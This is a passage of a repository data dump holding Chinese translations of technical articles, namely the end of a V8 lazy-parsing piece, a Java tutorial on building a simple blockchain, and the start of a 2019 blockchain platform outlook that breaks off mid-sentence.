v6.1 带来的性能提升要小很多。\n\n然而，现在我们不再重复解析内部函数，而且由于解析器已经够快了，通过 `optimize-js` 获得的性能提升也大大减少。实际上，v7.5 的默认配置已经比运行在 v6.1 上的优化版快很多。即使在 v7.5 中，对于启动期间需要的代码，仍然可以少量使用 PIFEs ：我们避免了预解析，因为我们一开始就知道是需要这个功能。\n\n`optimize-js` 基准测试结果并不完全代表现实的情况。脚本是同步加载的，整个解析 + 编译时间计算为加载时间。在实际场景中，你可能会使用 `<script>` 标签加载脚本。这使得 Chrome 的预加载器能够在脚本被计算 **之前** 发现它，并在不阻塞注线程的情况下下载、解析和编译脚本。我们决定提前编译的所有东西都是在主线程之外自动编译的，并且应该只在启动时进行最低限度的计算。使用非主线程脚本编译运行会放大使用 PIFEs 所带来的影响。\n\n但是仍然有成本，特别是内存成本，所以过早编译所有东西不是一个好办法：\n\n![](https://v8.dev/_img/preparser/eager-compilation-overhead.svg)\n\n提前编译 **所有** JavaScript 代码会付出很大的内存开销。\n\n虽然在开始期间给需要的函数添加括号是一个好方法（例如，基于开始分析后），但是使用 `optimize-js` 包来应用简单的静态推断不是一个好办法。例如，它假设，一个函数在开始编译期间被调用，并且这个函数是一个函数的参数。然而，如果这样一个实现整个模块的函数需要长时间才能完成编译，那么最终会编译过多的东西。过早编译不利于性能：没有延迟编译的 V8 会显著的降低加载时间。此外，`optimize-js` 的一些优点来自于 UglifyJS 以及其它压缩器问题，它们从 PIFEs 中移除了不是 PIFEs 的括号部分，从而删除了本可以应用于形如 [通用模块定义](https://github.com/umdjs/umd) — 样式模块上的有用提示。这可能是压缩器应该修复的一个问题，这样可以在过早编译 PIFEs 的浏览器上获得最佳性能。\n\n## 结语\n\n惰性解析加快了启动速度，并减少了应用程序的内存开销，这些应用程序交付的代码比它们需要的会更好。能够正确的跟踪预解析器中的变量声明和引用是有必要的，这样能够正确地（依据规范）并且快速地进行预解析。在预解析器中分配变量还允许我们系列化变量分配的信息，以便于在后续的解析器中使用，这样我们就可以完全避免再次预解析内部函数，避免深度嵌套函数的非线性解析行为。\n\n可以被解析器识别的 PIFEs 避免了启动过程中需要立即初始化预解析代码所带来的开销。谨慎地使用 PIFEs 进行引导配置文件，或由打包器，也可以提供一个冷启动的减速带。然而，应该避免不必要的将函数封装在括号中来触发这种推断方式，因为这会导致更多的代码被过早地编译，从而导致更差的启动性能和更大的内存使用。\n\n* * *\n\n1.  由于内存原因，在一段时间内不要使用 V8 [刷新字节码](https://v8.dev/blog/v8-release-74#bytecode-flushing)。如果稍后还需要使用该代码，我们将重新解析并编译它。由于我们允许变量元数据在编译期间失效，这将导致在延迟的重新编译时再次解析内部函数。此时我们为它的内部函数重新创建元数据，因此不需要再次预解析它内部函数中的内部函数。[↩︎](#fnref1)\n\n2.  PIFEs 也可以看作是基于简要信息的函数表达式。[↩︎](#fnref2)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/blockchain-implementation-with-java-code.md",
    "content": "> * 原文地址：[Blockchain Implementation With Java Code](https://dzone.com/articles/blockchain-implementation-with-java-code)\n> * 原文作者：[David Pitt](https://dzone.com/users/2933125/dpittkhs.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/blockchain-implementation-with-java-code.md](https://github.com/xitu/gold-miner/blob/master/TODO1/blockchain-implementation-with-java-code.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[sisibeloved](https://github.com/sisibeloved)\n\n# 用 Java 代码实现区块链\n\n让我们来看看用 Java 代码实现区块链的可能性。我们从基本原理出发，开发一些代码来演示它们是如何融合在一起的。\n\n比特币（Bitcoin）炙手可热 —— **多么的轻描淡写**。虽然数字加密货币的前景尚不明确，但区块链 —— 用于驱动比特币的技术 —— 却非常流行。\n\n区块链的应用领域尚未探索完毕。它也有可能会破坏企业自动化。关于区块链的工作原理，有很多可用的信息。我们有一个深度区块链的[免费白皮书](https://keyholesoftware.com/wp-content/uploads/Blockchain-For-The-Enterprise-Keyhole-White-Paper.pdf)（无需注册）。\n\n本文将重点介绍区块链体系结构，特别是通过简单的代码示例演示“不可变，仅附加”的分布式账本是如何工作的。\n\n作为开发者，阅读代码会比阅读技术文章更容易理解。至少对我来说是这样。那么我们开始吧！\n\n## 简述区块链\n\n首先我们简要总结下区块链。区块包含一些头信息和任意一组数据类型或一组交易。该链从第一个（初始）区块开始。随着交易被添加/扩展，将基于区块中可以存储多少交易来创建新区块。\n\n当超过区块阀值大小时，将创建一个新的交易区块。新区块与前一个区块连接，因此称为区块链。\n\n### 不可变性\n\n因为交易时会计算 SHA-256 哈希值，所以区块链是不可变的。区块链的内容也被哈希则提供了唯一的标识符。此外，相连的前一个区块的哈希也会被在区块的头信息中散列并储存。\n\n这就是为什么试图篡改区块基本上是不可能的，至少以目前的计算能力是这样的。下面是一个展示区块属性的 Java 类的部分定义。\n\n```\n...\npublic class Block&lt;T extends Tx>; {\npublic long timeStamp;\nprivate int index;\nprivate List<T> transactions = new ArrayList<T>();\nprivate String hash;\nprivate String previousHash;\nprivate String merkleRoot;\nprivate String nonce = \"0000\";\n\n// 缓存事务用 SHA256 哈希\n    public Map<String,T> map = new HashMap<String,T>();\n...\n```\n\n注意，注入的泛型类型为 `Tx` 类型。这允许交易数据发生变化。此外，`previousHash` 属性将引用前一个区块的哈希值。稍后将描述 `merkleRoot` 和 `nonce` 属性。\n\n### 区块哈希值\n\n每个区块可以计算一个哈希。这实际上是链接在一起的所有区块属性的哈希，包括前一个区块的哈希和由此计算而得的 SHA-256 哈希。\n\n下面是在 `Block.java` 类中定义的计算哈希值的方法。\n\n```\n...\npublic void computeHash() {\n     Gson parser = new Gson(); // 可能应该缓存这个实例\n     String serializedData = parser.toJson(transactions);  \n     setHash(SHA256.generateHash(timeStamp + index + merkleRoot + serializedData + nonce + previousHash));\n     }\n...\n```\n\n交易被序列化为 JSON 字符串，因此可以在哈希之前将其追加到块属性中。\n\n### 链\n\n区块链通过接受交易来管理区块。当到达预定阀值时，就创建一个区块。下面是 `SimpleBlockChain.java` 的部分实现：\n\n```\n...\n...\npublic class SimpleBlockchain<T extends Tx> {\npublic static final int BLOCK_SIZE = 10;\npublic List<Block<T>> chain = new ArrayList<Block<T>>();\n\npublic SimpleBlockchain() {\n// 创建初始区块\nchain.add(newBlock());\n}\n\n...\n```\n\n注意，chain 属性维护了一个类型为 `Tx` 的区块列表。此外，`无参构造器` 会在创建初始链表时初始化“初始”区块。下面是 `newBlock()` 方法源码。\n\n```\n...\npublic Block<T> newBlock() {\nint count = chain.size();\nString previousHash = \"root\";\n\nif (count > 0)\npreviousHash = blockChainHash();\n\nBlock<T> block = new Block<T>();\n\nblock.setTimeStamp(System.currentTimeMillis());\nblock.setIndex(count);\nblock.setPreviousHash(previousHash);\nreturn block;\n}\n...\n```\n\n这个方法将会创建一个新的区块实例，产生合适的值，并分配前一个块的哈希（这将是链头的哈希），然后返回这个实例。\n\n在将区块添加到链中之前，可以通过将新区块的上一个哈希与链的最后一个区块（头）进行比较来验证区块，以确保它们匹配。`SimpleBlockchain.java` 描述了这一过程。\n\n```\n....\npublic void addAndValidateBlock(Block<T> block) {\n\n// 比较之前的区块哈希，如果有效则添加\nBlock<T> current = block;\nfor (int i = chain.size() - 1; i >= 0; i--) {\nBlock<T> b = chain.get(i);\nif (b.getHash().equals(current.getPreviousHash())) {\ncurrent = b;\n} else {\n\nthrow new RuntimeException(\"Block Invalid\");\n}\n\n}\n\nthis.chain.add(block);\n}\n...\n```\n\n整个区块链通过循环整个链来验证，确保区块的哈希仍然与前一个区块的哈希匹配。\n\n以下是 `SimpleBlockChain.java validate()` 方法的实现。\n\n```\n...\npublic boolean validate() {\n\nString previousHash = null;\nfor (Block<T> block : chain) {\nString currentHash = block.getHash();\nif (!currentHash.equals(previousHash)) {\nreturn false;\n}\n\npreviousHash = currentHash;\n\n}\n\nreturn true;\n\n}\n...\n```\n\n你可以看到，试图以任何方式伪造交易数据或任何其他属性都是非常困难的。而且，随着链的增长，它会继续变得非常、非常、非常困难，基本上是不可能的 —— 除非量子计算机可用！\n\n### 添加交易\n\n区块链技术的另一个重要技术点是它是分布式的。区块链只增的特性很好地帮助了它在区块链网络的节点之间的复制。节点通常以点对点的方式进行通信，就像比特币那样，但不一定非得是这种方式。其他区块链实现使用分散的方法，比如使用基于 HTTP 协议的 API。这都是题外话了。\n\n交易可以代表任何东西。交易可以包含要执行的代码（例如，智能合约）或存储和追加有关某种业务交易的信息。\n\n**智能合约**：旨在以数字形式来促进、验证或强制执行合约谈判及履行的计算机协议。\n\n就比特币而言，交易包含所有者账户中的金额和其他账户的金额（例如，在账户之间转移比特币金额）。交易中还包括公钥和账户 ID，因此传输需要保证安全。但这是比特币特有的。\n\n交易被添加到网络中并被池化；它们不在区块中或链本身中。\n\n这是区块链**共识机制**发挥作用的地方。现在有许多经过验证的共识算法和模式，不过那已经超出了本文的范围。\n\n**挖矿**是比特币区块链使用的共识机制。这就是下文讨论的共识类型。共识机制收集交易，用它们构建一个区块，然后将该区块添加到链中。区块链会在新的交易区块被添加之前验证它。\n\n### 默克尔树\n\n交易被哈希并添加到区块中。默克尔树被用来计算默克尔根哈希。默克尔树是一种内部节点的值是两个子节点值的哈希值的平衡二叉树。而默克尔根，就是默克尔树的根节点。\n\n[![](https://i0.wp.com/keyholesoftware.com/wp-content/uploads/Merkle-Root.png?resize=576%2C288&ssl=1)](https://keyholesoftware.com/2018/04/10/blockchain-with-java/merkle-root/)\n\n该树用于区块交易的验证。如果在交易中更改了一些信息，默克尔根将失效。此外，在分布式中，它们还可以加速传输区块，因为该结构只允许添加和验证整个交易区块所需的单个交易哈希分支。\n\n以下是 `Block.java` 类中的方法，它从交易列表中创建了一个默克尔树。\n\n```\n...\npublic List<String> merkleTree() {\nArrayList<String> tree = new ArrayList<>();\n// 首先，\n// 将所有交易的哈希作为叶子节点添加到树中。\nfor (T t : transactions) {\ntree.add(t.hash());\n}\nint levelOffset = 0; // 当前处理的列表中的偏移量。\n//  当前层级的第一个节点在整个列表中的偏移量。\n// 每处理完一层递增，\n// 当我们到达根节点时（levelSize == 1）停止。\nfor (int levelSize = transactions.size(); levelSize > 1; levelSize = (levelSize + 1) / 2) {\n// 对于该层上的每一对节点：\nfor (int left = 0; left < levelSize; left += 2) {\n// 在我们没有足够交易的情况下，\n// 右节点和左节点\n// 可以一样。\nint right = Math.min(left + 1, levelSize - 1);\nString tleft = tree.get(levelOffset + left);\nString tright = tree.get(levelOffset + right);\ntree.add(SHA256.generateHash(tleft + tright));\n}\n// 移动至下一层\nlevelOffset += levelSize;\n}\nreturn tree;\n}\n\n...\n```\n\n此方法用于计算区块的默克尔树根。伴随项目有一个默克尔树单元测试，它试图将交易添加到一个区块中，并验证默克尔根是否已经更改。下面是单元测试的源码。\n\n```\n...\n@Test\npublic void merkleTreeTest() {\n\n// 创建链，添加交易\n\nSimpleBlockchain<Transaction> chain1 = new SimpleBlockchain<Transaction>();\n\nchain1.add(new Transaction(\"A\")).add(new Transaction(\"B\")).add(new Transaction(\"C\")).add(new Transaction(\"D\"));\n\n// 获取链中的区块\nBlock<Transaction> block = chain1.getHead();\n\nSystem.out.println(\"Merkle Hash tree :\" + block.merkleTree());\n\n//从区块中获取交易\nTransaction tx = block.getTransactions().get(0);\n\n// 查看区块交易是否有效，它们应该是有效的\nblock.transasctionsValid();\nassertTrue(block.transasctionsValid());\n\n// 更改交易数据\ntx.setValue(\"Z\");\n\n//当区块的默克尔根与计算出来的默克尔树不匹配时，区块不应该是有效。\nassertFalse(block.transasctionsValid());\n\n}\n\n...\n```\n\n此单元测试模拟验证交易，然后通过共识机制之外的方法改变区块中的交易，例如，如果有人试图更改交易数据。\n\n记住，区块链是只增的，当块区链数据结构在节点之间共享时，区块数据结构（包括默克尔根）被哈希并连接到其他区块。所有节点都可以验证新的区块，并且现有的区块可以很容易地被证明是有效的。因此，如果一个挖矿者想要添加一个伪造的区块或者节点来调整原有的交易是不可能的。\n\n\n### 挖矿和工作量证明\n\n在比特币世界中，将交易组合成区块，然后提交给链中的成员进行验证的过程叫做“挖矿”。\n\n更宽泛地说，在区块链中，这被称为共识。现在有好几种经过验证的分布式共识算法，使用哪种机制取决于你有一个公共的还是私有的区块链。我们的白皮书对此进行了更为深入的描述，但本文的重点是区块链的原理，因此这个例子中我们将使用一个工作量证明（POW）的共识机制。\n\n因此，挖掘节点将侦听由区块链执行的交易，并执行一个简单的数学任务。这个任务是用一个不断改变的一次性随机数（nonce）来生成带有一连串以 0 开头的区块哈希值，直到一个预设的哈希值被找到。\n\n[Java 示例项目](https://github.com/in-the-keyhole/khs-blockchain-java-example)有一个 `Miner.java` 类，其中的 `proofOfWork(Block block)` 方法实现如下所示。\n\n```\nprivate String proofOfWork(Block block) {\n\nString nonceKey = block.getNonce();\nlong nonce = 0;\nboolean nonceFound = false;\nString nonceHash = \"\";\n\nGson parser = new Gson();\nString serializedData = parser.toJson(transactionPool);\nString message = block.getTimeStamp() + block.getIndex() + block.getMerkleRoot() + serializedData\n+ block.getPreviousHash();\n\nwhile (!nonceFound) {\n\nnonceHash = SHA256.generateHash(message + nonce);\nnonceFound = nonceHash.substring(0, nonceKey.length()).equals(nonceKey);\nnonce++;\n\n}\n\nreturn nonceHash;\n\n}\n```\n\n同样，这是简化的，但是一旦收到一定量的交易，这个挖矿算法会为区块计算一个工作量证明的哈希。该算法简单地循环并创建块的SHA-256散列，直到产生前导数字哈希。\n\n这可能需要很多时间，这就是为什么特定的GPU微处理器已经被实现来尽可能快地执行和解决这个问题的原因。\n\n\n### 单元测试\n\n你可以在 GitHub上看到结合了这些概念的 Java 示例的 JUnit 测试。\n[![](https://i2.wp.com/keyholesoftware.com/wp-content/uploads/junittestsblockchain.png?resize=782%2C490&ssl=1)](https://keyholesoftware.com/2018/04/10/blockchain-with-java/junittestsblockchain/)\n\n运行一下，看看这个简单的区块链是如何工作的。\n\n另外，如果你是 C# 程序员的话，其实（我不会告诉任何人），我们也有用 C# 写的示例。下面是 C# 区块链实现的[示例](https://github.com/in-the-keyhole/khs-blockchain-csharp-example)。\n\n## 最后的思考\n\n希望这篇文章能让你对区块链技术有一定的了解，并有充足的兴趣继续研究下去。\n\n本文介绍的所有示例都用于我们的[深度区块链白皮书](https://keyholesoftware.com/wp-content/uploads/Blockchain-For-The-Enterprise-Keyhole-White-Paper.pdf) (无需注册即可阅读). 这些例子在白皮书中有更详细的说明。\n\n另外，如果你想在 Java 中看到完整的区块链实现，这里有一个开源项目 BitcoinJ 的[链接](https://github.com/bitcoinj/bitcoinj)。你可以看到上文的概念在实际生产中一一实现。\n\n如果是这样的话，推荐你看看更贴近生产的开源区块链框架。一个很好的示例是 [HyperLedger Fabric](https://www.hyperledger.org/projects/fabric)，这将是我下一篇文章的主题 —— 请持续关注！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/blockchain-platforms-tech-to-watch-in-2019.md",
    "content": "> * 原文地址：[Blockchain Platforms & Tech to Watch in 2019](https://medium.com/the-challenge/blockchain-platforms-tech-to-watch-in-2019-f2bfefc5c23)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/blockchain-platforms-tech-to-watch-in-2019.md](https://github.com/xitu/gold-miner/blob/master/TODO1/blockchain-platforms-tech-to-watch-in-2019.md)\n> * 译者：[Rickon](https://github.com/gs666)\n> * 校对者：[shixi-li](https://github.com/shixi-li), [kasheemlew](https://github.com/kasheemlew)\n\n# 2019 区块链平台与技术展望\n\n![](https://cdn-images-1.medium.com/max/2000/1*k2FyIN5xEkNzAGyflWPhUg.jpeg)\n\nno.thisispatrick — “Electric Water” (CC BY-NC-ND 2.0)\n\n自 2015 年以来，**以太坊** 一直是智能合约平台的主导者，但是在 2018，谷歌、亚马逊和苹果公司打造智能合约平台的竞赛逐渐升温，且赌注很大。主导新兴价值互联网的平台可能轻易地达到万亿美元的市值。\n\n> **太长，不看**？请在底部参阅 2019 年值得关注的加密技术的完整列表。\n\n2018 年底，开发人员厌倦了等待 EVM 的扩展成为现实。像 [**Raiden Network’s**](https://raiden.network/) 这样的新兴技术登陆以太坊主网给以太坊开发者来了期待已久的希望，但这可能太晚了并且还远远不够。今年，具有更快第 1 层共识的替代区块链开始吸引开发人员的注意力，开发人员去哪里，应用程序和用户也会随之而去。\n\n![](https://i.loli.net/2019/01/02/5c2c256055b28.png)\n\n但是，要追赶上来很难。以太坊有成千上万的开发者课程、教程、文章和 Stack Overflow 问答，这是一个很好的开始。他们还拥有致力于改进提案和核心协议开发的最大、最活跃的社区。\n\n开发人员可能会对缓慢的交易和糟糕的用户界面感到不满，但以太坊仍然在占据着开发人员的心。超过 3000 个 ICO 已经在以太坊发行，其最接近的竞争对手仍然有数百计。以太坊在 2018 年遭受了一些重大打击，但本周的一次大反弹可以作为给挑战者的回应：**不要将以太坊排除在外**。\n\n![](https://cdn-images-1.medium.com/max/800/1*BDxlV5cQEhxEcWBAnKSWyA.png)\n\n以太坊反弹：这还没有结束！\n\n![](https://cdn-images-1.medium.com/max/800/1*aO99I_W_x4ckn_kgFlYYlg.png)\n\n2018 年 12 月 28 号 24 小时内涨幅排行\n\n### 主导主题\n\n2017 年主要的加密主题是 ICO 大爆炸：初次发行代币产品（ICOs）的曙光。这种爆炸式增长一直持续到 2018 年上半年，直到监管问题对加密行业产生寒蝉效应。\n\n![](https://cdn-images-1.medium.com/max/800/1*FUZjNmtKuVNSAK-DnoGtoQ.png)\n\n每月 ICO 募资：2014-2018 来源：CoinDesk\n\n2018年有两个主要主题：\n\n**BUIDL 跑道** - 我们可以在资金耗尽之前将我们的加密项目推向市场吗？子主题：**加密行业的浪费**。许多公司在打造可行的产品之前，花费了大量资金飞到世界各地举行会议。在你建立 MVP 之前就在营销上花钱，这与精益创业的理念背道而驰，自 2001 年互联网泡沫破裂以来，精益创业理念一直主导着明智的科技领导者。\n\n**加密“寒冬”** - 在 2017 年底，加密市场又跨越了另一个 10 倍的增长。每次发生这种情况，市场都会回落，然后再攀升至上次的 10 倍。2018 年是 10 倍峰值之后的第一年，所以很自然地，我们再次下跌。不幸的是，许多加密项目在价格暴跌 80％-90％ 期间保留了他们在市场上筹集的资金，现在钱即将耗尽。这已经导致了很多裁员。（另见：[“BUIDL 圣诞节：区块链圣诞节裁员的故事](https://medium.com/the-challenge/buidl-christmas-58a0c9d7377b)）\n\n这意味着什么？加密市场有可预测的起伏。根据过去的表现，我们知道在我们达到下一个 10 倍标记后，价格很可能会在接下来的几个月中下降 80％-90％。这对于财务部门来说意味着他们应该计划项目跑道—传统上至少 18 个月的运营费用，并用法定货币存入资金以保护它免受市场下行周期的影响。这样，无论加密市场如何，他们都可以继续运营。如果在将该跑道投入保管之后还有额外的资金，当然是将这些资金留在市场中并期望在买入时获得长期收益。\n\n大多数项目都做不到这点。那些公司被迫进行裁员，而在我看来应该从财务主管开始。\n\n![](https://cdn-images-1.medium.com/max/800/1*2nlit12SUIYN93RdmBNoHQ.png)\n\n比特币价格（记录）：每个红色的箭头都比上次高十倍\n\n精明的加密行业投资者意识到了市场周期，并计划他们期望保持 7 到 10 多年的长期投资策略。对于这些投资者来说，加密行业投资的前景再次开始变得好看起来。\n\n**关于“加密业寒冬”的提示**：加密行业从未经历人工智能行业在 1987 年至 2009 年间经历过的寒冬，这可能强化了“加密寒冬”的名称。在非常真实的人工智能寒冬，研究人员使用诸如“机器学习”和“分析”之类的委婉语来确保资金以避免“AI”的耻辱，许多人已经开始将其视为永远不会实现的科幻乌托邦。今天，AI 的进步带给我们一些最令人振奋的技术，包括自动驾驶汽车，自动飞行无人机以及机器人技术的重大突破。\n\n### 2019 年的主题是什么?\n\n如果 2017 年是关于 ICO，2018 年是关于“生存”，那么 2019 年的加密相关的主题会是什么？\n\n#### 吸引用户\n\n去中心化应用程序在 2018 年只有很少的受众，但 2019 年可能是我们第一次看到有着数百万用户的去中心化应用程序的年份，而拒绝加密的极客最终将开始以加密货币进行交易。\n\n据 [DappRadar](https://dappradar.com/) 称，2018 年最受欢迎的以太坊 dApp 目前每日活跃用户**不足一千**。但是，一种新的加密应用程序正在显现。\n\n支持加密的 [**Brave Browser**](https://brave.com/) （由Mozilla的联合创始人兼web 平台编程语言 JavaScript 的创建者 Brendan Eich 领导）已经在 Google Play 商店中有着超过 1000 万的安装量。Brave 使用户可以轻松获得并使用 [**BAT**](https://basicattentiontoken.org/) 加密货币。您可以通过浏览自己喜欢的网站获得加密币。如果您选择加入，Brave 将使用不会跟踪您的行为的广告替换广告网络商投放的具有潜在危险的跟踪型广告。作为交换，你将自动获得 BAT，只是为了做你以前总做的事情。\n\n![](https://cdn-images-1.medium.com/max/800/1*kbd-a9fDJdFenZ8couEOFw.png)\n\n截图：Brave 浏览器集成了 BAT 钱包\n\n[**Sliver.tv**](https://www.sliver.tv/) 是一个让游戏玩家直播游戏视频给其他游戏爱好者观看的视频游戏流媒体网站。它最近集成了 [**Theta**](https://www.thetatoken.org/) 加密货币，它允许观众通过观看视频流和与其他观众共享网络带宽来获得加密货币。\n\n![](https://cdn-images-1.medium.com/max/800/1*81S6bI6fP7ca59GzR_qyMw.png)\n\n截屏 左边：腾讯游戏的无限法则在 Sliver 上直播。右：Sliver.tv 集成了 Theta 钱包。\n\n观众也可以赢得 Theta，捐给主播或者使用它来在 Sliver 商店购买虚拟或真实的商品。Sliver.tv [每月活跃用户超过两万](https://www.alexa.com/siteinfo/sliver.tv)，可能是迄今为止最受欢迎的加密应用程序，供一般受众使用（即不是投资/交换/钱包应用）。\n\nSliver.tv 是一个非常有前途的开端，但它使用中心化的托管钱包，用户无法提取资金。\n\n[**Cent.co**](https://beta.cent.co/) 着眼于基于内容的社交网络的未来。想象一下 Twitter 和 Medium 的最大优势:长格式内容以咬入式内容流的形式呈现，你可以将其扩展到更大的图片。你可以给创建内容的用户小费，当其他人给你小费时，你也会得到奖励。给小费被称为“播种”。当你对内容播种时，一部分钱会给内容原始创建者，一部分钱会给在你之前播种内容的每个人。它为发布高质量的内容以及你认为会在平台上流行的种子内容创造了经济激励。\n\n![](https://cdn-images-1.medium.com/max/800/1*OuairG9NVQBNbsuhZ5gXaQ.png)\n\nCent 截图\n\nCent 用提供奖励来获得工作的方式 - 任何类型的工作 - 由 Cent 生态系统的用户完成。您可以提出问题并提供回答的悬赏。您可以要求提供 logo 设计帮助，或者请求帮助编辑您的最新帖子。任何对您来说物有所值的东西。您可以控制您悬赏的金额以及将获得这笔钱的人数，因此就算您的提议病毒式传播，您也不会意外地超出预算。Cent背后的想法是创造一种经济形式，允许其用户日常工作之外只使用他们的才能和 Cent 平台在线挣钱。我不确定人们每小时在 Cent 上赚多少钱，但我确信它看起来非常有前途。\n\n它也是我迄今为止看到的最用户友好的 dApp 之一，到目前为止，我没有看到任何迹象表明它被以太坊扩展问题所困扰。要使用 Cent,你需要一个 Web3 浏览器比如  [**Trust**](https://trustwallet.com/) 或者 [**Coinbase Wallet**](https://wallet.coinbase.com/)。\n\n我仍然渴望看到一个带有用户控制钱包的 dApp 达到 1000 多万用户量。它会在 2019 年发生吗？\n\n### 以太坊挑战者\n\n以太坊挑战者将于 2019 年进入研发和社区建设阶段。以太坊有一个很好的开端，但是 2019 年可能是竞争压力真正开始压迫以太坊的一年。以太坊的挑战者们主要有两种势力：**ICO 平台**和 **dAPP 平台**。\n\n许多潜在的挑战者将同时充当这两个角色，但还是尽可能的去独立看待这两个角色会比较好。\n\n**ICO 平台** — 几乎是从有了 ICO 平台这个概念产生开始，以太坊就一直是 ICO 发行最合适的选择。智能合约应用程序还没有真正开始吸引客户，但是 ICO 在 2017 年和 2018 年就已经取得了极大的成功。\n\n2019 年，以太坊不再是推出 ICO 唯一的选择，也可能不再是最好的选择。竞争者正在加快步伐。在 2018 年，数百个加密资产在竞争者平台推出。尤其是[**Waves**](https://wavesplatform.com/) 认识到推出加密资产是以太坊的杀手级应用程序，并着手让它变得简单。他们这样做了。您可以在 Waves 上发布新代币，而不需要任何编码。\n\n![](https://cdn-images-1.medium.com/max/800/1*_P3kFffm36qxoUWWRggCSQ.png)\n\n截屏：Waves 代币生成工具\n\n它们还具有传递特质，可让您轻松地将代币分发给许多人 - 例如，从您的 ICO 进行 airdrop 传递或分发代币。进行 ICO 的难点在于交易所上市。[**Waves wallet**](https://wavesplatform.com/product) 包括一个集成的分散交换（DEX），以便用户可以立即开始交易新代币。Waves DEX 功能优于集中式交换，在任何用户体验竞争中可以轻松击败基于以太坊的 DEX。与集中式交换不同，DEX 资金由用户控制的密钥管理，因此他们不必信任被监管的集中交换，或担心如果交易被黑客攻击会发生什么。Android Waves 钱包已被下载超过 100,000 次。\n\n以太坊仍然是最受欢迎的代币发布平台，但 Waves 已成功吸引了[数百个项目](https://icobench.com/icos?filterPlatform=Waves)。[**Stellar**](https://www.stellar.org/) 是另一个可选的流行 ICO 平台，它也 [紧随其后](https://icobench.com/icos?filterPlatform=Stellar)。一些项目已经在其他替代平台上推出，包括 [NEO](https://icobench.com/icos?filterPlatform=NEO)、[EOS](https://icobench.com/icos?filterPlatform=EOS)等，但看起来 Waves 和 Stellar 可能会在 2019 年从新的代币发布平台中脱颖而出。\n\n他们很有可能会吸引到更多原本将在 2019 年在以太坊上推出的项目。\n\n### dApps（去中心化应用程序）\n\n加密行业的愿景是建立有价值的互联网，你可能会说[去中心化应用程序](https://www.stateofthedapps.com/rankings)起着关键作用 但究竟什么是 dApp？为什么它们很重要，哪些 dApp 平台将在 2019 年重塑秩序？\n\n**什么是 dApp**？dApp 是去中心化应用的缩写，它本质上是中心化应用程序的对立面。中心化应用程序掌握着用户的数据。举了例子，您的银行应用程序可以帮助您管理银行帐户余额，但从技术上讲，您无法控制这笔钱 — 银行在控制。\n\n如果他们想[未经你的允许借钱给别人](https://en.wikipedia.org/wiki/Fractional-reserve_banking)，他们可以也会做！如果他们想要[冻结您的帐户](https://www.sacbee.com/news/business/article217567300.html)，他们可以。如果他们想[延迟你的提现](https://www.sacbee.com/news/business/article217567300.html)，他们可以。\n\nFacebook 也是一个非常好的例子。如果 Facebook 想[分享你的好友列表](https://www.fool.com/investing/2018/12/22/this-spotlight-is-plaguing-facebook-and-it-wont-se.aspx)给第三方开发者，他们未经你的允许就能做到。如果他们想[分享你的私人消息](https://www.newsweek.com/facebook-stock-price-fb-messenger-sharing-private-messages-netflix-spotify-1265319)，他们也可以。如果他们想[关闭某个功能或杀掉你的应用](https://medium.com/javascript-scene/a-new-hope-e2021fce7c7b)，他们还是可以做到。\n\n另一方面，去中心化应用程序不会将所有用户数据存储在集中式数据库中。取而代之的是他们依赖去中心化技术，如区块链和其他 DLT（分布式账本技术），[去中心化数据库](https://github.com/orbitdb/orbit-db) 和 [去中心化文件存储系统](https://ipfs.io/)。dApps 可以让您控制自己的身份，货币和数据。（他们还没有全部做到这些，但我怀疑那些做到的将颠覆 Web 3.0。）\n\ndApp 经常需要通过网络进行交易。为此，他们通常依赖区块链，例如比特币，以太坊，Waves 等。他们通常需要与钱包接口才能授权交易。\n\n我当前最喜欢的 dApps 内置了钱包，并且要么是监管（意味着他们管理诸如私人密钥之类的硬件，例如 [Sliver.tv](https://www.sliver.tv/)），要么直接与钱包集成（例如 [Brave](https://brave.com/)）。\n\n#### dApp 用户体验\n\ndApp 用户体验正在变得越来越好。现在有两个流行的浏览器集成了 dApp 支持功能，因此不需要考虑浏览器扩展：[**Trust**](https://play.google.com/store/apps/details?id=com.wallet.crypto.trustapp)（最近被 [Binance](https://www.binance.com/) 收购）和 [**Coinbase Wallet**](https://www.coinbase.com)（直到 [Coinbase](https://www.coinbase.com) 在收购Trust后不久收购了它的 Toshi）。两者都比  [Metamask](https://metamask.io/) 等替代品具有更好的用户体验，并提供与 [**Web3 